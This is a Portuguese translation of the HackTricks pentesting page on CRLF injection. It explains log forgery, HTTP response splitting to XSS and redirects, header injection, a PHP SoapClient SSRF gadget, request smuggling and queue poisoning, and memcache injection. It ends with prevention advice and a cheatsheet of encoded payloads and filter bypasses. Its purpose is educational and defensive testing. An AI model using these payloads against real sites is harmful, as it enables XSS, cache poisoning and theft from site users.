hacktricks/pentesting-web/crlf-0d-0a.md

249 lines
16 KiB
Markdown

# Injeção de CRLF (%0D%0A)
<details>
<summary><strong>Aprenda a hackear na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada exigida_).
{% embed url="https://www.stmcyber.com/careers" %}
## O que é CRLF?
Quando um navegador envia uma solicitação a um servidor web, o servidor responde com uma resposta contendo tanto os cabeçalhos de resposta HTTP quanto o conteúdo do site, ou seja, o corpo da resposta. Os cabeçalhos HTTP e a resposta HTML (o conteúdo do site) são separados por uma combinação específica de caracteres especiais, nomeadamente um retorno de carro e uma alimentação de linha. Eles também são conhecidos como CRLF.
O servidor web usa o CRLF para entender quando um novo cabeçalho HTTP começa e outro termina. O CRLF também pode indicar a uma aplicação web ou usuário que uma nova linha começa em um arquivo ou em um bloco de texto. Os caracteres CRLF são uma mensagem padrão HTTP/1.1, portanto, são usados por qualquer tipo de servidor web, incluindo Apache, Microsoft IIS e todos os outros.\
De [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
### O que é a Vulnerabilidade de Injeção de CRLF?
Em um ataque de vulnerabilidade de injeção de CRLF, o atacante insere os caracteres de retorno de carro e alimentação de linha na entrada do usuário para enganar o servidor, a aplicação web ou o usuário, fazendo-os pensar que um objeto terminou e outro começou. Assim, as sequências de CRLF não são caracteres maliciosos, no entanto, podem ser usados com intenções maliciosas, para divisão de resposta HTTP, etc.
## Injeção de CRLF em aplicações web
Em aplicações web, uma injeção de CRLF pode ter impactos graves, dependendo do que a aplicação faz com itens individuais. Os impactos podem variar desde a divulgação de informações até a execução de código, uma vulnerabilidade direta na segurança da aplicação web. Na verdade, um ataque de injeção de CRLF pode ter repercussões muito sérias em uma aplicação web, embora nunca tenha sido listado no Top 10 da OWASP. Por exemplo, também é possível manipular arquivos de log em um painel administrativo, conforme explicado no exemplo abaixo.
#### Um exemplo de Injeção de CRLF em um arquivo de log
Imagine um arquivo de log em um painel administrativo com o padrão de saída de fluxo de IP - Hora - Caminho Visitado, como o abaixo:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
Se um atacante conseguir injetar os caracteres CRLF na solicitação HTTP, ele poderá alterar o fluxo de saída e falsificar as entradas de log. Ele pode mudar a resposta da aplicação web para algo como o abaixo:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Os %0d e %0a são as formas codificadas em URL de CR e LF. Portanto, as entradas de log ficariam assim depois que o atacante inserisse esses caracteres e o aplicativo os exibisse:
IP - Hora - Caminho Visitado
```
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Portanto, ao explorar uma vulnerabilidade de injeção CRLF, o atacante pode falsificar entradas no arquivo de log para ofuscar suas próprias ações maliciosas. O atacante está literalmente realizando sequestro de página e modificando a resposta. Por exemplo, imagine um cenário onde o atacante tem a senha de admin e executou o parâmetro restrictedaction, que só pode ser usado por um admin.
O problema é que se o administrador notar que um IP desconhecido usou o parâmetro restrictedaction, perceberá que algo está errado. No entanto, como agora parece que o comando foi emitido pelo localhost (e, portanto, provavelmente por alguém que tem acesso ao servidor, como um admin), isso não parece suspeito.
Toda a parte da consulta que começa com %0d%0a será tratada pelo servidor como um parâmetro único. Depois disso, há outro & com o parâmetro restricted action que será interpretado pelo servidor como outro parâmetro. Efetivamente, esta seria a mesma consulta que:
```
/index.php?page=home&restrictedaction=edit
```
### Divisão de Resposta HTTP
#### Descrição
Uma vez que o cabeçalho de uma resposta HTTP e seu corpo são separados por caracteres CRLF, um atacante pode tentar injetá-los. Uma combinação de CRLFCRLF indicará ao navegador que o cabeçalho terminou e o corpo começou. Isso significa que ele agora é capaz de escrever dados dentro do corpo da resposta, onde o código html é armazenado. Isso pode levar a uma vulnerabilidade de Cross-site Scripting.
#### Um exemplo de Divisão de Resposta HTTP levando a XSS
Imagine uma aplicação que define um cabeçalho personalizado, por exemplo:
```
X-Your-Name: Bob
```
```markdown
O valor do cabeçalho é definido por um parâmetro get chamado "name". Se não houver codificação de URL em vigor e o valor for diretamente refletido dentro do cabeçalho, pode ser possível para um atacante inserir a combinação mencionada de CRLFCRLF para informar ao navegador que o corpo da solicitação começa. Dessa forma, ele pode inserir dados como payload de XSS, por exemplo:
```
```
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>
```
O exemplo acima exibirá uma janela de alerta no contexto do domínio atacado.
#### Um exemplo de HTTP Response Splitting levando a Redirecionamento
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
Navegador para:
```
/%0d%0aLocation:%20http://myweb.com
```
E o servidor responde com o cabeçalho:
```
Location: http://myweb.com
```
**Outro exemplo: (de** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### No Caminho da URL
Você pode enviar o payload **dentro do caminho da URL** para controlar a **resposta** do servidor:
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
```markdown
### Injeção de Cabeçalho HTTP
#### Descrição
Ao explorar uma injeção CRLF, um atacante também pode inserir cabeçalhos HTTP que podem ser usados para derrotar mecanismos de segurança, como o filtro XSS de um navegador ou a política de mesma origem (same-origin-policy). Isso permite que o atacante obtenha informações sensíveis como tokens CSRF. Ele também pode configurar cookies que podem ser explorados ao fazer o login da vítima na conta do atacante ou ao explorar vulnerabilidades de cross-site scripting (XSS) que de outra forma seriam inexploráveis.
#### Um exemplo de Injeção de Cabeçalho HTTP para extrair dados sensíveis
Se um atacante consegue injetar os cabeçalhos HTTP que ativam o CORS (Cross Origin Resource Sharing), ele pode usar javascript para acessar recursos que de outra forma seriam protegidos pela SOP (Same Origin Policy), que impede que sites de origens diferentes acessem uns aos outros.
### Nova requisição HTTP em SSRF
Abusando da injeção CRLF, você pode **criar uma nova requisição HTTP e injetá-la**.\
Um bom exemplo pode ser feito usando o gadget de desserialização `SoapClient` em PHP. Esta classe é **vulnerável ao CRLF** dentro do parâmetro `user_agent`, permitindo **inserir novos cabeçalhos e conteúdo no corpo**. No entanto, você pode até ser capaz de abusar dessa vulnerabilidade para **injetar uma nova requisição HTTP:**
```
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
```
### Injeção de Cabeçalho para Request Smuggling
Você pode injetar cabeçalhos essenciais para garantir que o **back-end mantenha a conexão aberta** após responder à solicitação inicial:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
Então, **especifique uma segunda requisição**. Aqui você tem um **clássico** [**request smuggling**](http-request-smuggling/) com **cabeçalhos/corpo extra** anexados pelo servidor após a injeção.\
Aqui estão duas das muitas opções para exploração entre usuários.
Especificando um **prefixo malicioso** para envenenar a requisição do próximo usuário ou um cache da web:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
Ou criando nosso prefixo para combinar com o lixo final e criar uma segunda requisição completa para acionar o **envenenamento da fila de resposta**.
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
Para mais informações sobre esta técnica e problemas potenciais [**consulte a fonte original**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
### Injeção em Memcache
Memcache é um **armazenamento de chave-valor que usa um protocolo de texto claro**. Mais informações em:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
Se uma plataforma está tomando **dados de uma requisição HTTP e os utilizando sem sanitização** para realizar **requisições** a um servidor **memcache**, um atacante poderia abusar desse comportamento para **injetar novos comandos memcache**.
Por exemplo, na vulnerabilidade originalmente descoberta, chaves de cache eram usadas para retornar o IP e a porta aos quais um usuário deveria se conectar, e os atacantes conseguiram **injetar comandos memcache** que iriam **envenenar** o **cache para enviar os detalhes das vítimas** (incluindo nomes de usuário e senhas) para os servidores do atacante:
<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt=""><figcaption></figcaption></figure>
Além disso, os pesquisadores também descobriram que eles poderiam dessincronizar as respostas do memcache para enviar o IP e portas do atacante para usuários cujo email o atacante não conhecia:
<figure><img src="../.gitbook/assets/image (40).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (39).png" alt=""><figcaption></figcaption></figure>
**Para a informação completa leia o**[ **relato original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
## Impactos da Vulnerabilidade de Injeção CRLF
O impacto das injeções CRLF varia e também inclui todos os impactos do Cross-site Scripting até a divulgação de informações. Também pode desativar certas restrições de segurança como Filtros XSS e a Política de Mesma Origem nos navegadores das vítimas, deixando-os suscetíveis a ataques maliciosos.
### Como Prevenir Injeções CRLF / Cabeçalhos HTTP em Aplicações Web
A melhor técnica de prevenção é não usar diretamente a entrada dos usuários dentro dos cabeçalhos de resposta. Se isso não for possível, você deve sempre usar uma função para codificar os caracteres especiais CRLF. Outra boa prática de segurança de aplicações web é atualizar sua linguagem de programação para uma versão que não permita que CR e LF sejam injetados dentro de funções que definem cabeçalhos HTTP.
### CHEATSHEET
```
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## Ferramentas Automáticas
* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
## Lista de Detecção por Força Bruta
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)
## Referências
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você tem interesse em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_é necessário polonês fluente escrito e falado_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>